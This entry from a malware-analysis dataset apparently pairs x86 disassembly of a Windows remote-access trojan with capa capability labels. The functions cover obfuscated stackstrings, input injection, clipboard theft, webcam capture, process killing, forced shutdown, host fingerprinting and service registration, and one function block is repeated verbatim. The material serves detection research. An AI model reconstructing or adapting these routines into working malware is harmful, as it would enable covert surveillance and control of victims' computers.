joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007cd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x100153dc
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002980
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x10007e90
Capabilities:
Create directory
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10013ea8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.10007cd0
xor eax, eax
mov ecx, 0x41
push eax
mov edi, 0x1001ab08
push 5
mov dword [ebx], 0x100153e4
push 0x1001ab08
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x1001ab08
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1001ab08
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1001ab08
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x81
push 1
push eax
call fcn.10007df0
mov ecx, ebx
call fcn.10007e60
push 0
push 0
push 0
push ebx
push 0x10008520
push 0
push 0
call fcn.1000ae90
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x10007fb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x10]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x20]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x58]
xor esi, esi
push esi
push 0x80
push 4
push esi
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x100080f6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c
ret
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x50]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call ebp
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x10008109
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x10009100
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x100092b1
call fcn.1000afa0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x100092b1
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000917d
cmp eax, 0x208
ja 0x1000917d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x1000922d
je 0x10009215
cmp eax, 0x105
ja 0x100091e9
je 0x100091cb
sub eax, 0x100
je 0x100091ad
dec eax
je 0x100091cb
sub eax, 3
jne case.0x10009237.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009237.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009237.521
sub eax, 0x201
je 0x10009206
dec eax
jne case.0x10009237.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000929a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10009237.521
jmp dword [eax*4 + 0x100092b8]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000929a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x10009149
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x1000923e
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x100092b1
call fcn.1000afa0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x100092b1
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000917d
cmp eax, 0x208
ja 0x1000917d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x1000922d
je 0x10009215
cmp eax, 0x105
ja 0x100091e9
je 0x100091cb
sub eax, 0x100
je 0x100091ad
dec eax
je 0x100091cb
sub eax, 3
jne case.0x10009237.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009237.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009237.521
sub eax, 0x201
je 0x10009206
dec eax
jne case.0x10009237.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000929a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10009237.521
jmp dword [eax*4 + 0x100092b8]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000929a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000929a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x10009149
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x100092e0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10009348
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10009340
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x10009350
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100093e2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10009381
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10007df0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1000a940
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov edi, ecx
xor esi, esi
test ebx, ebx
mov dword [esp + 0xc], edi
jbe 0x1000a988
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000a959
mov edi, dword [esp + 0x10]
pop ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000a8e0
mov ecx, edi
call fcn.1000a910
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000ac40
Capabilities:
Shutdown system

Disassembly:
push str.SeShutdownPrivilege
call fcn.1000cbe0
mov eax, dword [esp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.SeShutdownPrivilege
call fcn.1000cbe0
pop ecx
ret

Function at 0x1000ae90
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push 0x1000ae10
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret

Function at 0x1000b130
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000b0e0
add esp, 8
test eax, eax
jne 0x1000b191
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000b1b5
push esi
call fcn.1000b070
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x1000b430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001540c
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1001ac2c], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000b680
test al, al
je 0x1000b581
mov al, byte [0x1001ac28]
test al, al
jne 0x1000b581
mov edx, dword [0x1001ac2c]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push connect
push 0x1001a420
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000c140
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000c200
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
push ebx
push esi
lea eax, [esp + 0x74]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x78], 0x66
mov byte [esp + 0x15a], bl
mov dword [esp + 0x7c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x15c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c0], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x10], 0x100
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c1]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push str.NetSubKey
push connect
mov dword [esp + 0x3c], esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c0]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push 0x1001a420
push eax
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c2d7
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000c2ea
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x2c8]
xor ecx, ecx
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], ecx
push edx
mov dword [esp + 0x30], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [esp + 0x24]
mov ecx, 0xc
lea esi, [esp + 0x1c0]
lea edi, [esp + 0x124]
mov dword [esp + 0x120], edx
lea eax, [esp + 0x50]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x64]
mov word [esp + 0x114], cx
call fcn.1000c140
lea edx, [esp + 0x30]
mov dword [esp + 0x118], eax
push edx
mov dword [esp + 0x34], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x38]
shr eax, 0x14
inc eax
mov dword [esp + 0x11c], eax
call fcn.1000c1a0
mov ecx, dword [esp + 0x2cc]
lea edx, [esp + 0x74]
mov dword [esp + 0x158], ecx
push 0x14c
push edx
mov ecx, ebx
mov byte [esp + 0x15e], al
call fcn.10002710
pop edi
pop esi
pop ebx
add esp, 0x2b4
ret
Function at 0x1000c850
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x1001aafc]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x1000c840
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x1001aafc]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x1001aafc]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push edi
push connect
push connect
push connect
push connect
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x1001ad88
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x1001ad88
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000c7f0
push 0x1001ad88
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x1001ac44], eax
call fcn.1000c790
push edi
push edi
push 4
call fcn.1000c790
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x1000ddc0
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x1000d6a0
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10018a90], eax
push edi
push edi
call fcn.1000c530
add esp, 8
push 0x3e8
call esi
jmp 0x1000c995

Function at 0x1000c9b0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000ca2f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000ca1d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000ca1d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000c9ec
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret